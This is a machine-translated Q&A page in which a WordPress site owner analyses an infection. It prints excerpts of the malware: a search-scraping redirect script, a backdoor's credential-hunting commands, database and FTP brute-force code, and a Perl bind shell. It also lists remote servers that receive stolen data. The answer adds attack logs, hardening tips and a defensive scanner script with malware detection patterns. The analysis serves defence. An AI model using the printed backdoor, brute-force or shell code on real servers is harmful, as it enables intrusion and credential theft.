web-dev-qa-db-ja.com

これはどのようにして行われるのですかWordpressサイトはvlomaw.Zip、tondjr.Zip、oniyur.zipに感染しました

この攻撃がどこから来たか知っている人がいるかどうか知りたいのですが。

お客様のサイトの1つが、次のような複数のファイルを生成するコードに感染しました:

_0b37a.php.suspected
5394bb9efbe.php
62142859e75.php.suspected
aa.php
inl.php
ini_ui-elements.php
site/
oniyur/
oniyur.Zip
tondjr/
tondjr.Zip
ui-elements.php
vlomaw/
vlomaw.Zip
zrxd/
_

そのコードを見ると、クリックが複数のサイトに殺到す​​ることが目的であることはすべて指摘しています。最初に検索エンジンでいくつかの結果を探し、次にその結果を別のサイトにリダイレクトすることが私の注意を呼びます。研究のために、これは次のようになります。

_$keyword = str_replace("-", "+", $_GET["vm"]);
curl_setopt($ch, CURLOPT_URL, "http://boriskq.pw/story2.php?q=$query_pars_2&pass=qwerty8");
for ($page=1;$page<3;$page++)
    {
     $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://www.ask.com/web?q=$query_pars_2&qo=pagination&qsrc=998&page=$page");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
$result = curl_exec($ch);
curl_close($ch);
//echo $result;
$result = str_replace("\r\n", "", $result);
$result = str_replace("\n", "", $result);
preg_match_all ("#PartialSearchResults-item-abstract\">(.*)</p>#iU",$result,$m);
foreach ($m[1] as $a) $text .= $a;
    }

            for ($google_n=0;$google_n<11;$google_n=$google_n+10)
    {
        $ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.google.com/search?q=$query_pars_2&start=$google_n");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.6) Gecko/20060928 Firefox/1.5.0.6');
$result = curl_exec($ch);
curl_close($ch);
$result = str_replace("\r\n", "", $result);
$result = str_replace("\n", "", $result);
    preg_match_all ("#<span class=\"st\">(.*)</span>#iU",$result,$m);
        foreach ($m[1] as $a) $text .= $a;
}


for ($page=1;$page<13;$page=$page+10)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://search.yahoo.com/search?p=$query_pars_2&fr=yfp-t&fr2=sb-top&fp=1&b=$page&pz=10&bct=0&xargs=0");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT,"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
$result = curl_exec($ch);
curl_close($ch);
...
$ref = $_SERVER["HTTP_REFERER"];
$d = $_SERVER["HTTP_Host"];
$mykeys  = $_GET["vm"];
...
_

コードの最後に、リダイレクトに変換される難読化されたコードがあります。

header("Location: http://caforyn.pw/for/77?d=$d&mykeys=$mykeys");

ログを見ると、次のような多くの呼び出しが見つかりました。

_GET /oniyur/rouimo.php?vm=amy-edmondson-psychological-safety-survey
GET /oniyur/rouimo.php?vm=nose-piercing-bump-popped-bleeding
_

_wp-includes_をワイプし、_js/_ディレクトリ内に1つのファイルを追加するようです:_favicon_9e1c1c.ico_

このファイルは実際には、_wp-settings.php_に含まれている難読化されたコードを含むphpファイルです。

そのファイルをデコードするのに十分な時間はありませんが、私の目標は、_zrxd/_ディレクトリ内に一連のページを生成し、mail()コマンドを使用して電子メールを送信することです。 「example.com」の代わりにお客様の実際のホスト名を使用している_[email protected]_のようなランダムな名前を送信者として使用してメールを送信しようとしていることがわかりました。サーバーによってブロックされたため、そのような電子メールの内容を確認することはできませんでしたが、zrxdディレクトリ内のページへのリンク(_zero-investment-business-in-pune.php_など)が含まれている可能性があります。

_vlomaw.Zip_を検索すると、数百のサイトがすでに感染していることがわかります。

Wordpressサイトは、その数日前に自動的に更新されたため、一部のプラグインを非難しています。

この攻撃を知っていますか(分析へのリンク)。この攻撃がすでに特定されている既知のプラグイン(またはWordpress)に脆弱性はありますか?

[〜#〜]更新[〜#〜]

これは私が考えた中で最悪です。ファイル i-elements.php は、MD5パスワード「edbc761d111e1b86fb47681d9f641468」を持つ「バックドア」であり、サーバーの広範な分析を実行します。

注:コードについてあまり気にしない場合は、「要約」に進んでください。

_    "List dir" => "ls -lha",
    "list file attributes on a Linux second extended file system" => "lsattr -va",
    "show opened ports" => "netstat -an | grep -i listen",
    "process status" => "ps aux",
    "Find" => "",
    "find all suid files" => "find / -type f -perm -04000 -ls",
    "find suid files in current dir" => "find . -type f -perm -04000 -ls",
    "find all sgid files" => "find / -type f -perm -02000 -ls",
    "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
    "find config.inc.php files" => "find / -type f -name config.inc.php",
    "find config* files" => "find / -type f -name \"config*\"",
    "find config* files in current dir" => "find . -type f -name \"config*\"",
    "find all writable folders and files" => "find / -perm -2 -ls",
    "find all writable folders and files in current dir" => "find . -perm -2 -ls",
    "find all service.pwd files" => "find / -type f -name service.pwd",
    "find service.pwd files in current dir" => "find . -type f -name service.pwd",
    "find all .htpasswd files" => "find / -type f -name .htpasswd",
    "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
    "find all .bash_history files" => "find / -type f -name .bash_history",
    "find .bash_history files in current dir" => "find . -type f -name .bash_history",
    "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
    "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
    "Locate" => "",
    "locate httpd.conf files" => "locate httpd.conf",
    "locate vhosts.conf files" => "locate vhosts.conf",
    "locate proftpd.conf files" => "locate proftpd.conf",
    "locate psybnc.conf files" => "locate psybnc.conf",
    "locate my.conf files" => "locate my.conf",
    "locate admin.php files" =>"locate admin.php",
    "locate cfg.php files" => "locate cfg.php",
    "locate conf.php files" => "locate conf.php",
    "locate config.dat files" => "locate config.dat",
    "locate config.php files" => "locate config.php",
    "locate config.inc files" => "locate config.inc",
    "locate config.inc.php" => "locate config.inc.php",
    "locate config.default.php files" => "locate config.default.php",
    "locate config* files " => "locate config",
    "locate .conf files"=>"locate '.conf'",
    "locate .pwd files" => "locate '.pwd'",
    "locate .sql files" => "locate '.sql'",
    "locate .htpasswd files" => "locate '.htpasswd'",
    "locate .bash_history files" => "locate '.bash_history'",
    "locate .mysql_history files" => "locate '.mysql_history'",
    "locate .fetchmailrc files" => "locate '.fetchmailrc'",
    "locate backup files" => "locate backup",
    "locate dump files" => "locate dump",
    "locate priv files" => "locate priv"
_

...と...

_$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
    $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
    $explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
} else {
    $uid = @posix_getpwuid(posix_geteuid());
    $gid = @posix_getgrgid(posix_getegid());
    $user = $uid['name'];
    $uid = $uid['uid'];
    $group = $gid['name'];
    $gid = $gid['gid'];
}

$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
_

...と...

_    if( $_POST['proto'] == 'ftp' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $fp = @ftp_connect($ip, $port?$port:21);
            if(!$fp) return false;
            $res = @ftp_login($fp, $login, $pass);
            @ftp_close($fp);
            return $res;
        }
    } elseif( $_POST['proto'] == 'mysql' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
            @mysql_close($res);
            return $res;
        }
    } elseif( $_POST['proto'] == 'pgsql' ) {
        function wsoBruteForce($ip,$port,$login,$pass) {
            $str = "Host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
            $res = @pg_connect($str);
            @pg_close($res);
            return $res;
        }
    }
    $success = 0;
    $attempts = 0;
    $server = explode(":", $_POST['server']);
    if($_POST['type'] == 1) {
        $temp = @file('/etc/passwd');
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = explode(":", $line);
                ++$attempts;
                if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
                    $success++;
                    echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                }
                if(@$_POST['reverse']) {
                    $tmp = "";
                    for($i=strlen($line[0])-1; $i>=0; --$i)
                        $tmp .= $line[0][$i];
                    ++$attempts;
                    if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                        $success++;
                        echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                    }
                }
            }
    } elseif($_POST['type'] == 2) {
        $temp = @file($_POST['dict']);
        if( is_array($temp) )
            foreach($temp as $line) {
                $line = trim($line);
                ++$attempts;
                if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
                    $success++;
                    echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                }
            }
    }
    echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
_

...と...(デコード):

_#!/usr/bin/Perl
$Shell="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
    accept(CONN,S);
    if(!($pid=fork)) {
        die "Cannot fork" if (!defined $pid);
        open STDIN,"<&CONN";
        open STDOUT,">&CONN";
        open STDERR,">&CONN";
        exec $Shell || die print CONN "Cant execute $Shell\n";
        close CONN;
        exit 0;
    }
}
_

概要

  • _000fadc3d7.php_(および同様):ディレクトリとして解凍されたZipファイルが含まれます(例:vlomaw /)。
  • _*.suspected_:マルウェアが使用する一般的な拡張機能のようです(おそらく一部のウイルス対策プログラムをだますために?)。
  • _vlomaw/ , tondjr/_(および同様):4つの部分が含まれます:
    • _lerbim.php_:「.suspected」の名前を「.php」に戻します
    • _vltkbjs.php / rouimo.php_:GETパラメータvmを使用して検索エンジンの呼び出しを実行し、キーワードを_http://caforyn.pw/for/77_に送信します(検索エンジンボットをブロックします)
    • _sotpie/_:上記で渡されたキーワードを(.txtファイルで)埋めるためのHTMLのテンプレートが含まれています
    • _wtuds/_:数百のHTML広告ページが含まれます
  • _zrxd/_(4文字のディレクトリ):.php拡張子を持つ何百ものHTML広告ページが含まれます
  • _bxv.php_(2〜3文字のファイル):ドメイン「n.liveupdates.Host」に関連付けられたDNS TXTレコードを取得し、それらのbase64値にリダイレクトします。(検索をブロックしますエンジンボット)。 コンテンツ
    • リダイレクト先は次のとおりです:_215oursupport0501234.tk/n_。これは主にJavaScriptコードを含むHTMLです。 生のコンテンツ
      • JavaScriptがページを開きます:_top.medheltping.org/?utm_term=6509243595344579136&clickverify=1_ jsデコード済み
  • _ui-elements.php_および_inl.php_:UIを備えたフル機能のバックドア: code
    • サーバー全体に関する情報を提供します(ディスク容量、書き込み可能なファイルなどのファイル権限、無効化された関数、グローバル変数、Cookie、開いているポート、プロセス、ネットワーク構成、ネットワーク情報、構成ファイル、パスワードファイル、履歴ファイル(。 bash_historyおよび.mysql_history)、バックアップ、ダンプされたsqlファイル、ユーザー、php情報、インストールされているセキュリティソフトウェアなど)。
    • 現在のカーネルの脆弱性をチェック(exploit-db.comに対して)
    • リモートディクショナリを使用してサーバー、ftp、およびデータベースのパスワードを破るブルートフォースコードを提供します(POSTによって送信されます)
    • PHPカスタムコマンドを実行するコンソールを提供します
    • クッキーデコーダー
    • (hashcracking.ru、md5.rednoize.com、crackfor.me)を使用したハッシュデコーダー
    • ファイルダウンローダー
    • ファイルの時間を変更します
    • アクセスが許可された場合にデータベースをダンプします(ユーザー/パスワードテーブルを含む)
    • Perlを使用してTCPポート(おそらく別のバックドア)を開きます(上記のコードを参照)。
  • _favicon_d5036c.ico_:そのa PHPファイルで、多くのphpファイルに含まれています。暗号化されたコードが含まれています(キーはファイルパスのmd5またはコメントの下の最初の32文字です)コード)およびプラグインとして2つのファイルをインストール: php decode
    • _lnkblock.php_:Cookieに保存されたデータ(不明なコンテンツ)をデコードし、ページに挿入します(不明)。次のリンクのリストを呼び出します:_//94.130.71.28/module/access/api?action=links_(ウクライナ) code
    • _tds.php_:このコードは、訪問者からのすべてのブラウザ情報とCookieをリモートサーバーに送信し、Javascriptをそれらに挿入しているようです。暗号化された構成が含まれています。 コード
      • リモートサーバーは次のとおりです:_//144.76.162.236/gal/test.php_(ドイツ) code
  • _evas.php_:アップロードまたはその他のディレクトリ内に作成された可能性のあるファイル。私にはリモートのように見えますPHP console。 code
  • _db_connector.php_:正規のファイルのように変更された通常のクラスであるように見えます。 「sort」と呼ばれるリクエストパラメータで送られる関数を作成して実行します。 code <-実際のコードの場所をマークしました。
  • _p.txt_:_ui-elements_が使用するパスワードのMD5ハッシュを含むファイル。 _wp-content/themes/_の下に配置されました
4
lepe

この問題について詳しく調べたところ、誰かが管理者としてダッシュボードにログインできることがわかりました。 apikeyという名前のプラグインがインストールされました:

109.248.9.250 - - [06/Jan/2018:16:52:00 +0900] "GET /wp-login.php HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:05 +0900] "GET /wp-admin/plugin-install.php?tab=upload HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:06 +0900] "POST /wp-admin/update.php?action=upload-plugin HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:16:52:08 +0900] "GET /wp-content/plugins/apikey/apikey.php?test=hello HTTP/1.1" 200
109.248.9.250 - - [06/Jan/2018:17:32:07 +0900] "POST /wp-content/plugins/apikey/apikey.php HTTP/1.1" 200

サーバーは数回の試行でIPアドレスをブロックし、パスワードは簡単なものではないため、お客様のコンピューターの1つから盗まれたと思います。プラグインがインストールされたことが確認された後、サイトは多くの異なるIPアドレスからの呼び出しを受信しました(これは1人の仕事ではなく、ボットや分散型攻撃システムのようなものです)。

同じ状況にある人々のために、私はお勧めします:

  • PhpのインストールにevalmailexecおよびShellが無効な関数として含まれていることを確認してください(少なくとも)。
  • SMTPを使用してメール(お問い合わせフォームなど)を送信しています。
  • ログインページを強化します(IP、キー、または別の追加レイヤーでのみ許可)。
  • コンテナにサイトを保管してください。
  • 更新Wordpress手動で、アップロード以外のApacheユーザーがファイルを書き込めないようにします/
  • Phpファイルがuploads /内で実行されるのを防ぐ

Apacheがそのファイルへのいくつかの呼び出しをログに記録した後、サーバーが危険にさらされていると言っても安全です(残念ながら、顧客のサイトはコンテナーで実行されていません)。

この種の攻撃に対して1つ以上のWebサイト(またはホストサーバーから実行された場合は複数のコンテナー)をチェックするために実行できる小さなスクリプトにすべてをまとめます。

スクリプトをチェック

github :更新されたバージョン

#!/bin/bash
#
# Script to check for website malware
# author: lepe
# https://security.stackexchange.com/questions/177116/
# Ver. 2018-01-12
#
if [[ $1 == "--help" ]]; then
    echo "Usage: $0 [DIRECTORY]"
    echo "If DIRECTORY is not specified, will scan from current dir."
    echo
    echo "Note: This code won't alter any file in any way"
    echo
    echo "'DANGER' means that there is a high probability your site is infected."
    echo "'WARNING' means could be a false-positive as file names are common."
    echo
    echo "To be sure, check those files with a text editor (be sure to check files with wordwrap on)"
    echo " --- Do not use your browser if they are php files --- "
    echo "If you confirm your website is infected, restore from a clean backup in a container."
    echo "It will return (exit) 0 if nothing found, 1 if warnings found and 2 if danger was found"
    exit
fi
if [[ -d $1 ]]; then
    directory=$1
fi
declare -a red=("*.suspected" "favicon_*.ico" "p.txt" "evas.php" "vlomaw.Zip" "tondjr.Zip" "lerbim.php" "sotpie" "wtuds" "inl.php" "zrxd" "polwxpyh.php" "admit.php" "ini_ui-elements.php" "sql.php")
declare -a yellow=("ui-elements.php" "uploader.php" "wp-update.php" "wp-app.php" "db_connector.php" "admin-menu.php" "wp-theme.php" "wp-category.php" "wp-search.php" "article.php" "stats.php")

ret_code=0 # 0: clean, 1: warn, 2: danger

echo "Searching for strange files..."
for i in "${red[@]}"
do
    test=$(find "$directory" -name "$i")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done

echo "Searching for obfuscated includes..."
test=$(find "$directory" -name "*.php" -exec egrep -l "@include.*\\\x[0-9]" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for obfuscated code..."
for f in $(find "$directory" -name "*.php" -exec grep -l "GLOBALS" {} \;); do
    test=$(egrep -l "(\\\x[0-9]+){5}" "$f")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done
# Be sure there are no php in /upload/
echo "Searching for PHP files inside upload directory..."
for d in $(find "$directory" -type d -name "upload*"); do
    test=$(find "$d" -name "*.php")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ DANGER ]###########################"
        echo "$test"
        echo "##########################################################"
        echo
        ret_code=2
    fi
done

echo "Searching for inline Zip files ..."
test=$(find "$directory" -name "*.php" -exec egrep -l "gzinflate\(base64_decode" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for Injected code ..."
test=$(find "$directory" -name "*.php" -exec egrep -l "user_agent_to_filter|#TurtleScanner#|liveupdates.Host|\"file test okay\"" {} \;)
if [[ $test != "" ]]; then
    echo
    echo "#####################[ DANGER ]###########################"
    echo "$test"
    echo "##########################################################"
    echo
    ret_code=2
fi

echo "Searching for possibly malicious files..."
for i in "${yellow[@]}"
do
    test=$(find "$directory" -name "$i")
    if [[ $test != "" ]]; then
        echo
        echo "#####################[ WARNING ]##########################"
        echo "$test"
        echo "##########################################################"
        echo
        if [[ $ret_code == 0 ]]; then
            ret_code=1
        fi
    fi
done

exit $ret_code
7
lepe